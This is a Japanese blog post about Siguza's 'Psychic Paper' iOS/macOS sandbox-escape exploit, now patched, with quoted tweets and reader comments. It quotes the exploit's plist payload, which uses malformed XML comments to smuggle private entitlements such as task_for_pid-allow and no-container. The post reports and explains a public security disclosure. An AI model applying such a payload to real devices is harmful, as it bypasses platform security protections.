Psychic Paper
Siguza氏がSandboxを回避できるExploit(Psychic Paper)を公開しました!!
このExploitはPlistファイルをいじるだけで使用でき、全てのiPhone/iPad/Macで使用可能です。
このExploitはiOS 13.5 beta 3で修正済みです。
New blog post: "Psychic Paper"
The story of the best. Sandbox escape. Ever.https://t.co/tIiT68Dcs3
— Siguza (@s1guza) May 1, 2020
RIP my very first 0day and absolute best sandbox escape ever:
<key>application-identifier</key>
<string>…</string>
<!—><!–>
<key>platform-application</key>
<true/>
<key>com .apple.private.security.no-container</key>
<true/>
<key>task_for_pid-allow</key>
<true/>
<!– –>— Siguza (@s1guza) April 29, 2020
Sandboxの回避
Sandboxとは一定の領域内にしかアクセスできず他の領域には干渉できないよういにする保護機能です。
それを回避することで、他の領域にアクセスすることができるようになります。
脱獄ではSandboxの回避は必須となっています。
なにができるの？
これだけで脱獄ができるようになるわけではありません。
今まで脱獄が必要だった多くのアプリが脱獄不要になります。
例としては、Filza File ManagerやReProvisionが実装できるようです。
Nice!
Incidentally, if anyone is bored, this trick would allow a non-jailbroken version of ReProvision to be made – just change the entitlements and voila https://t.co/7HGv4xbhpt
— Matt Clarke (@_Matchstic) April 30, 2020
コメント
ReProvisionが未脱獄でも使えるようになったら革命だね
altstoreのためにいちいちpc起動するの面倒だから助かる
これは!
13.4.1にアップデートしておくべきなのか⁉︎
iOS 13.4.1以下対応なのでアップデートする必要はないです。
脱獄したいならいつも通り待機ですよ。